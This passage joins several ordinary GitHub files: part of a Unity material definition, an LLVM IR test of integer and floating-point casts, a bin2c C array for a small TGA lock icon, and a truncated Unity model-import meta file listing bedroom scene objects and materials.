{x: 0, y: 0} - _MetallicGlossMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _NoiseTex: m_Texture: {fileID: 2800000, guid: 1eabb261fc8d3ad49bba6276d848c308, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _OcclusionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ParallaxMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _RampMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ReflectTex: m_Texture: {fileID: 2800000, guid: 4ee1470b54f61824aa5ec02f720a764c, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: - _Alpha: 1 - _Blink: 0 - _BumpScale: 1 - _Cutoff: 0.5 - _DetailNormalMapScale: 1 - _DstBlend: 0 - _Glossiness: 0.5 - _MMultiplier: 18.67 - _Metallic: 0 - _Mode: 0 - _OccPower: 0.44 - _OcclusionStrength: 1 - _Parallax: 0.02 - _ReflectPower: 1.36 - _ReflectionMultiplier: 2.97 - _Scroll2X: 22 - _Scroll2Y: 3 - _Shinness: 1.1 - _SpecMultiplier: 1 - _SpecPower: 1 - _SrcBlend: 1 - _UVSec: 0 - _ZWrite: 1 m_Colors: - _AmbientColor: {r: 0.37678418, g: 0.41550457, b: 0.50735295, a: 1} - _Color: {r: 0.588, g: 0.588, b: 0.588, a: 1} - _EmissionColor: {r: 0, g: 0, b: 0, a: 1} - _MainColor: {r: 1, g: 1, b: 1, a: 1} - _NoiseColor: {r: 1, g: 0.7626775, b: 0.33823532, a: 1} - _OccColor: {r: 0, g: 0.58, b: 0.99, a: 1} - _ReflectColor: {r: 1, g: 0.8264705, b: 0.5661765, a: 1} - _SpecColor: {r: 1, g: 0.55862063, b: 0, a: 0}
{ "pile_set_name": "Github" }
; RUN: %lli -jit-kind=orc-mcjit %s > /dev/null define i32 @foo() { ret i32 0 } define i32 @main() { icmp ne i1 true, false ; <i1>:1 [#uses=0] zext i1 true to i8 ; <i8>:2 [#uses=0] zext i1 true to i8 ; <i8>:3 [#uses=0] zext i1 true to i16 ; <i16>:4 [#uses=0] zext i1 true to i16 ; <i16>:5 [#uses=0] zext i1 true to i32 ; <i32>:6 [#uses=0] zext i1 true to i32 ; <i32>:7 [#uses=0] zext i1 true to i64 ; <i64>:8 [#uses=0] zext i1 true to i64 ; <i64>:9 [#uses=0] uitofp i1 true to float ; <float>:10 [#uses=0] uitofp i1 true to double ; <double>:11 [#uses=0] icmp ne i8 0, 0 ; <i1>:12 [#uses=0] icmp ne i8 1, 0 ; <i1>:13 [#uses=0] bitcast i8 0 to i8 ; <i8>:14 [#uses=0] bitcast i8 -1 to i8 ; <i8>:15 [#uses=0] sext i8 4 to i16 ; <i16>:16 [#uses=0] sext i8 4 to i16 ; <i16>:17 [#uses=0] sext i8 4 to i64 ; <i64>:18 [#uses=0] sext i8 4 to i64 ; <i64>:19 [#uses=0] sitofp i8 4 to float ; <float>:20 [#uses=0] sitofp i8 4 to double ; <double>:21 [#uses=0] icmp ne i8 0, 0 ; <i1>:22 [#uses=0] icmp ne i8 1, 0 ; <i1>:23 [#uses=0] bitcast i8 0 to i8 ; <i8>:24 [#uses=0] bitcast i8 1 to i8 ; <i8>:25 [#uses=0] zext i8 4 to i16 ; <i16>:26 [#uses=0] zext i8 4 to i16 ; <i16>:27 [#uses=0] zext i8 4 to i64 ; <i64>:28 [#uses=0] zext i8 4 to i64 ; <i64>:29 [#uses=0] uitofp i8 0 to float ; <float>:30 [#uses=0] uitofp i8 0 to double ; <double>:31 [#uses=0] icmp ne i16 1, 0 ; <i1>:32 [#uses=0] trunc i16 -1 to i8 ; <i8>:33 [#uses=0] trunc i16 255 to i8 ; <i8>:34 [#uses=0] bitcast i16 0 to i16 ; <i16>:35 [#uses=0] bitcast i16 0 to i16 ; <i16>:36 [#uses=0] sext i16 0 to i64 ; <i64>:37 [#uses=0] sext i16 0 to i64 ; <i64>:38 [#uses=0] sitofp i16 0 to float ; <float>:39 [#uses=0] sitofp i16 0 to double ; <double>:40 [#uses=0] icmp ne i16 1, 0 ; <i1>:41 [#uses=0] trunc i16 1 to i8 ; <i8>:42 [#uses=0] trunc i16 255 to i8 ; <i8>:43 [#uses=0] bitcast i16 0 to i16 ; <i16>:44 [#uses=0] bitcast i16 0 to i16 ; <i16>:45 [#uses=0] zext i16 0 to i64 ; <i64>:46 [#uses=0] zext i16 0 to i64 ; <i64>:47 [#uses=0] uitofp i16 0 to float ; <float>:48 [#uses=0] uitofp i16 0 to double ; <double>:49 [#uses=0] icmp ne i32 6, 0 ; <i1>:50 [#uses=0] trunc i32 -6 to i8 ; <i8>:51 [#uses=0] trunc i32 6 to i8 ; <i8>:52 [#uses=0] trunc i32 6 to i16 ; <i16>:53 [#uses=0] bitcast i32 0 to i32 ; <i32>:54 [#uses=0] sext i32 0 to i64 ; <i64>:55 [#uses=0] sext i32 0 to i64 ; <i64>:56 [#uses=0] sitofp i32 0 to float ; <float>:57 [#uses=0] sitofp i32 0 to double ; <double>:58 [#uses=0] icmp ne i32 6, 0 ; <i1>:59 [#uses=0] trunc i32 7 to i8 ; <i8>:60 [#uses=0] trunc i32 8 to i8 ; <i8>:61 [#uses=0] trunc i32 9 to i16 ; <i16>:62 [#uses=0] bitcast i32 10 to i32 ; <i32>:63 [#uses=0] zext i32 0 to i64 ; <i64>:64 [#uses=0] zext i32 0 to i64 ; <i64>:65 [#uses=0] uitofp i32 0 to float ; <float>:66 [#uses=0] uitofp i32 0 to double ; <double>:67 [#uses=0] icmp ne i64 0, 0 ; <i1>:68 [#uses=0] trunc i64 0 to i8 ; <i8>:69 [#uses=0] trunc i64 0 to i8 ; <i8>:70 [#uses=0] trunc i64 0 to i16 ; <i16>:71 [#uses=0] trunc i64 0 to i16 ; <i16>:72 [#uses=0] trunc i64 0 to i32 ; <i32>:73 [#uses=0] trunc i64 0 to i32 ; <i32>:74 [#uses=0] bitcast i64 0 to i64 ; <i64>:75 [#uses=0] bitcast i64 0 to i64 ; <i64>:76 [#uses=0] sitofp i64 0 to float ; <float>:77 [#uses=0] sitofp i64 0 to double ; <double>:78 [#uses=0] icmp ne i64 1, 0 ; <i1>:79 [#uses=0] trunc i64 1 to i8 ; <i8>:80 [#uses=0] trunc i64 1 to i8 ; <i8>:81 [#uses=0] trunc i64 1 to i16 ; <i16>:82 [#uses=0] trunc i64 1 to i16 ; <i16>:83 [#uses=0] trunc i64 1 to i32 ; <i32>:84 [#uses=0] trunc i64 1 to i32 ; <i32>:85 [#uses=0] bitcast i64 1 to i64 ; <i64>:86 [#uses=0] bitcast i64 1 to i64 ; <i64>:87 [#uses=0] uitofp i64 1 to float ; <float>:88 [#uses=0] uitofp i64 0 to double ; <double>:89 [#uses=0] bitcast float 0.000000e+00 to float ; <float>:90 [#uses=0] fpext float 0.000000e+00 to double ; <double>:91 [#uses=0] fptosi double 0.000000e+00 to i8 ; <i8>:92 [#uses=0] fptoui double 0.000000e+00 to i8 ; <i8>:93 [#uses=0] fptosi double 0.000000e+00 to i16 ; <i16>:94 [#uses=0] fptoui double 0.000000e+00 to i16 ; <i16>:95 [#uses=0] fptosi double 0.000000e+00 to i32 ; <i32>:96 [#uses=0] fptoui double 0.000000e+00 to i32 ; <i32>:97 [#uses=0] fptosi double 0.000000e+00 to i64 ; <i64>:98 [#uses=0] fptrunc double 0.000000e+00 to float ; <float>:99 [#uses=0] bitcast double 0.000000e+00 to double ; <double>:100 [#uses=0] ret i32 0 }
{ "pile_set_name": "Github" }
/** * Generated by bin2c.exe * binfile: .\lock.tga */ extern const unsigned char lock[]; extern const unsigned int lockSize; static const unsigned char lock[] = { 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x20, 0x08, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x30, 0x90, 0x98, 0xa8, 0x3d, 0x90, 0x98, 0xa8, 0x10, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x80, 0x80, 0x80, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0xc0, 0xc0, 0xc0, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x80, 0x80, 0x80, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x80, 0x80, 0x80, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0xff, 0x80, 0x80, 0x80, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0x80, 0x80, 0x80, 0xff, 0xc0, 0xc0, 0xc0, 0xff, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x90, 0x98, 0xa8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x52, 0x55, 0x45, 0x56, 0x49, 0x53, 0x49, 0x4f, 0x4e, 0x2d, 0x58, 0x46, 0x49, 0x4c, 0x45, 0x2e, 0x00, }; static const unsigned int lockSize = 1068;
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: d82c6f37a3647cd4eae61f7bb77545ea ModelImporter: serializedVersion: 23 fileIDToRecycleName: 100000: //RootNode 100002: FP310:AlarmClock1C 100004: FP310:Bag 100006: FP310:Base10 100008: FP310:Base11 100010: FP310:BaseBallBat4 100012: FP310:BedSideTable 100014: FP310:Box1 100016: FP310:Box1Lid 100018: FP310:Box2 100020: FP310:Box2Lid 100022: FP310:Box3 100024: FP310:Box3Lid 100026: FP310:Can 100028: FP310:Ceiling.006 100030: FP310:Cellphone3 100032: FP310:Cloth2C 100034: FP310:CreditCard2 100036: FP310:Cube.1625 100038: FP310:Cube.1629 100040: FP310:Cube.1634 100042: FP310:Cube.1635 100044: FP310:Cube.1636 100046: FP310:Cube.1637 100048: FP310:Cube.1638 100050: FP310:Cube.1640 100052: FP310:Cube.1641 100054: FP310:DirtQuad 100056: FP310:DirtQuad 1 100058: FP310:DirtQuad 2 100060: FP310:DirtQuad 3 100062: FP310:DirtQuad 4 100064: FP310:DirtQuad 5 100066: FP310:DirtQuad 6 100068: FP310:DirtQuad 7 100070: FP310:DirtQuad 8 100072: FP310:DirtQuad 9 100074: FP310:Door 100076: FP310:Door 1 100078: FP310:Door1 100080: FP310:Door1 1 100082: FP310:Door2 100084: FP310:Door3 100086: FP310:Floor.007 100088: FP310:FrameOpen 100090: FP310:Keyboard2 100092: FP310:KeyChain1 100094: FP310:Laptop2 100096: FP310:LightFixture4 100098: FP310:Messy 100100: FP310:Objects 100102: FP310:Open1 100104: FP310:Pen1 100106: FP310:Pencil3 100108: 'FP310:poster ' 100110: FP310:StandardDoor1.006 100112: FP310:StandardDoorFrame1.006 100114: FP310:StandardKnob1.007 100116: FP310:StandardWallSize.008 100118: FP310:StandardWindow3.003 100120: FP310:StandardWindowPane3 100122: FP310:Structure 100124: FP310:Top2 100126: FP310:VenetianFrame.003 100128: FP310:PS_310_Shelf_1 100130: FP310:PS_310_Shelf_2 100132: FP310:PS_310_Shelf_3 100134: FP310:PS_310_Shelf_4 100136: FP310:PS_310_Shelf_5 400000: //RootNode 400002: FP310:AlarmClock1C 400004: FP310:Bag 400006: FP310:Base10 400008: FP310:Base11 400010: FP310:BaseBallBat4 400012: FP310:BedSideTable 400014: FP310:Box1 400016: FP310:Box1Lid 400018: FP310:Box2 400020: FP310:Box2Lid 400022: FP310:Box3 400024: FP310:Box3Lid 400026: FP310:Can 400028: FP310:Ceiling.006 400030: FP310:Cellphone3 400032: FP310:Cloth2C 400034: FP310:CreditCard2 400036: FP310:Cube.1625 400038: FP310:Cube.1629 400040: FP310:Cube.1634 400042: FP310:Cube.1635 400044: FP310:Cube.1636 400046: FP310:Cube.1637 400048: FP310:Cube.1638 400050: FP310:Cube.1640 400052: FP310:Cube.1641 400054: FP310:DirtQuad 400056: FP310:DirtQuad 1 400058: FP310:DirtQuad 2 400060: FP310:DirtQuad 3 400062: FP310:DirtQuad 4 400064: FP310:DirtQuad 5 400066: FP310:DirtQuad 6 400068: FP310:DirtQuad 7 400070: FP310:DirtQuad 8 400072: FP310:DirtQuad 9 400074: FP310:Door 400076: FP310:Door 1 400078: FP310:Door1 400080: FP310:Door1 1 400082: FP310:Door2 400084: FP310:Door3 400086: FP310:Floor.007 400088: FP310:FrameOpen 400090: FP310:Keyboard2 400092: FP310:KeyChain1 400094: FP310:Laptop2 400096: FP310:LightFixture4 400098: FP310:Messy 400100: FP310:Objects 400102: FP310:Open1 400104: FP310:Pen1 400106: FP310:Pencil3 400108: 'FP310:poster ' 400110: FP310:StandardDoor1.006 400112: FP310:StandardDoorFrame1.006 400114: FP310:StandardKnob1.007 400116: FP310:StandardWallSize.008 400118: FP310:StandardWindow3.003 400120: FP310:StandardWindowPane3 400122: FP310:Structure 400124: FP310:Top2 400126: FP310:VenetianFrame.003 400128: FP310:PS_310_Shelf_1 400130: FP310:PS_310_Shelf_2 400132: FP310:PS_310_Shelf_3 400134: FP310:PS_310_Shelf_4 400136: FP310:PS_310_Shelf_5 2100000: Light2 2100002: Metal_chrome_mat 2100004: Brass 2100006: Space_Tourists_movie_poster 2100008: Drywall3 2100010: LightWoodCounters3 2100012: PureBlack_Wood 2100014: DarkWoodSmooth2 2100016: bedPillowAO 1 2100018: bedPillowAO 3 2100020: MessyBlanke309AO 1 2100022: UnderBlanke309AO 1 2100024: FittedSheet1AO 2100026: CarpetWhite 2100028: Cream_wood 2100030: Beams 2100032: GlassDetailedLIT 2100034: DarkWoodSmooth 2100036: Carpet7 2100038: Carpet8TILED 2100040: BlackFabirc 2100042: Carpet1 2100044: BrushedIron_AlbedoTransparency 2100046: WhitePlastic 2100048: Copper_AlbedoTransparency 2100050: Cellphone3_Material_AlbedoTransparency 2100052: 2 CreditCards 2100054: BookOPEN 2100056: BlackPlastic 2100058: HammeredMetal_AlbedoTransparency 2100060: SilverPlasticMat 2100062: TVScreenMat 2100064: GreenPlastic 2100066: HammeredMetal_Dark 2100068: PlasticBag2 2100070: PVC Blinds 2100072: PVCLit 2100074: Mirror 2100076: Grunge_Quad 2100078: Carpet2 2100080: Carpet3 2100082: KitchenLight 2100084: PensPencils_DefaultMaterial_AlbedoTransparency 2100086: Cloth2Var3 2100088: AlarmClock1_DefaultMaterial_AlbedoTransparency 2 2300000: FP310:AlarmClock1C 2300002: FP310:Bag 2300004: FP310:Base10 2300006: FP310:Base11 2300008: FP310:BaseBallBat4 2300010: FP310:BedSideTable 2300012: FP310:Box1 2300014: FP310:Box1Lid 2300016: FP310:Box2 2300018: FP310:Box2Lid 2300020: FP310:Box3 2300022: FP310:Box3Lid 2300024: FP310:Can 2300026: FP310:Ceiling.006 2300028: FP310:Cellphone3 2300030: FP310:Cloth2C 2300032: FP310:CreditCard2 2300034: FP310:Cube.1625 2300036: FP310:Cube.1629 2300038: FP310:Cube.1634 2300040: FP310:Cube.1635 2300042: FP310:Cube.1636 2300044: FP310:Cube.1637 2300046: FP310:Cube.1638 2300048: FP310:Cube.1640 2300050: FP310:Cube.1641 2300052: FP310:DirtQuad 2300054: FP310:DirtQuad 1 2300056: FP310:DirtQuad 2 2300058: FP310:DirtQuad 3 2300060: FP310:DirtQuad 4 2300062: FP310:DirtQuad 5 2300064: FP310:DirtQuad 6 2300066: FP310:DirtQuad 7 2300068: FP310:DirtQuad 8 2300070: FP310:DirtQuad 9 2300072: FP310:Door 2300074: FP310:Door 1 2300076: FP310:Door1 2300078: FP310:Door1 1 2300080: FP310:Door2 2300082: FP310:Door3 2300084: FP310:Floor.007 2300086: FP310:FrameOpen 2300088: FP310:Keyboard2 2300090: FP310:KeyChain1 2300092: FP310:Laptop2 2300094: FP310:LightFixture4 2300096: FP310:Messy 2300098: FP310:Open1 2300100: FP310:Pen1 2300102: FP310:Pencil3 2300104: 'FP310:poster ' 2300106: FP310:StandardDoor1.006 2300108: FP310:StandardDoorFrame1.006 2300110: FP310:StandardKnob1.007 2300112: FP310:StandardWallSize.008 2300114: FP310:StandardWindow3.003 2300116: FP310:StandardWindowPane3 2300118: FP310:Top2 2300120: FP310:VenetianFrame.003 2300122: FP310:PS_310_Shelf_1 2300124: FP310:PS_310_Shelf_2 2300126: FP310:PS_310_Shelf_3 2300128: FP310:PS_310_Shelf_4 2300130: FP310:PS_310_Shelf_5 3300000: FP310:AlarmClock1C 3300002: FP310:Bag 3300004: FP310:Base10 3300006: FP310:Base11 3300008: FP310:BaseBallBat4 3300010: FP310:BedSideTable 3300012: FP310:Box1 3300014: FP310:Box1Lid 3300016: FP310:Box2 3300018: FP310:Box2Lid 3300020: FP310:Box3 3300022: FP310:Box3Lid 3300024: FP310:Can 3300026: FP310:Ceiling.006 3300028: FP310:Cellphone3 3300030: FP310:Cloth2C 3300032: FP310:CreditCard2 3300034: FP310:Cube.1625 3300036: FP310:Cube.1629 3300038: FP310:Cube.1634 3300040: FP310:Cube.1635 3300042: FP310:Cube.1636 3300044: FP310:Cube.1637 3300046: FP310:Cube.1638 3300048: FP310:Cube.1640 3300050: FP310:Cube.1641 3300052: FP310:DirtQuad 3300054: FP310:DirtQuad 1 3300056: FP310:DirtQuad 2 3300058: FP310:DirtQuad 3 3300060: FP310:DirtQuad 4 3300062: FP310:DirtQuad 5 3300064: FP310:DirtQuad 6 3300066: FP310:DirtQuad 7 3300068: FP310:DirtQuad 8 3300070: FP310:DirtQuad 9 3300072: FP310:Door 3300074: FP310:Door 1 3300076: FP310:Door1 3300078: FP310:Door1 1 3300080: FP310:Door2 3300082: FP310:Door3 3300084: FP310:Floor.007 3300086: FP310:FrameOpen 3300088: FP310:Keyboard2 3300090: FP310:KeyChain1 3300092: FP310:Laptop2 3300094: FP310:LightFixture4 3300096: FP310:Messy 3300098: FP310:Open1 3300100: FP310:Pen1 3300102: FP310:Pencil3 3300104: 'FP310:poster ' 3300106: FP310:StandardDoor1.006 3300108: FP310:StandardDoorFrame1.006 3300110: FP310:StandardKnob1.007 3300112: FP310:StandardWallSize.008 3300114: FP310:StandardWindow3.003 3300116: FP310:StandardWindowPane3 3300118: FP310:Top2 3300120: FP310:VenetianFrame.003 3300122: FP310:PS_310_Shelf_1 3300124: FP310:PS_310_Shelf_2 3300126: FP310:PS_310_Shelf_3 3300128: FP310:PS_310_Shelf_4 3300130: FP310:PS_310_Shelf_5 4300000: FP310:LightFixture4 4300002: 'FP310:poster ' 4300004: FP310:Ceiling.006 4300006: FP310:Cube.1629 4300008: FP310:Door3 4300010: FP310:Door 4300012: FP310:Door2 4300014: FP310:Door1 4300016: FP310:Cube.1636 4300018: FP310:Cube.1637 4300020: FP310:Cube.1638 4300022: FP310:Messy 4300024: FP310:Cube.1641 4300026: FP310:Cube.1635 4300028: FP310:Cube.1640 4300030: FP310:Floor.007 4300032: FP310:StandardDoor1.006 4300034: FP310:StandardKnob1.007 4300036: FP310:StandardDoorFrame1.006 4300038: FP310:StandardWallSize.008 4300040: FP310:StandardWindow3.003 4300042: FP310:StandardWindowPane3 4300044: FP310:BedSideTable 4300046: FP310:Door1 4300048: FP310:Door 4300050: FP310:Box3 4300052: FP310:Box3Lid 4300054: FP310:Box2 4300056: FP310:Box2Lid 4300058: FP310:KeyChain1 4300060: FP310:Cellphone3 4300062: FP310:CreditCard2 4300064: FP310:Open1 4300066: FP310:Laptop2 4300068: FP310:Keyboard2 4300070: FP310:Top2 4300072: FP310:Can 4300074: FP310:Bag 4300076: FP310:VenetianFrame.003 4300078: FP310:FrameOpen 4300080: FP310:Base10 4300082: FP310:Base11 4300084: FP310:DirtQuad 4300086: FP310:DirtQuad 4300088: FP310:DirtQuad 4300090: FP310:DirtQuad 4300092: FP310:DirtQuad 4300094: FP310:DirtQuad 4300096: FP310:DirtQuad 4300098: FP310:DirtQuad 4300100: FP310:DirtQuad 4300102: 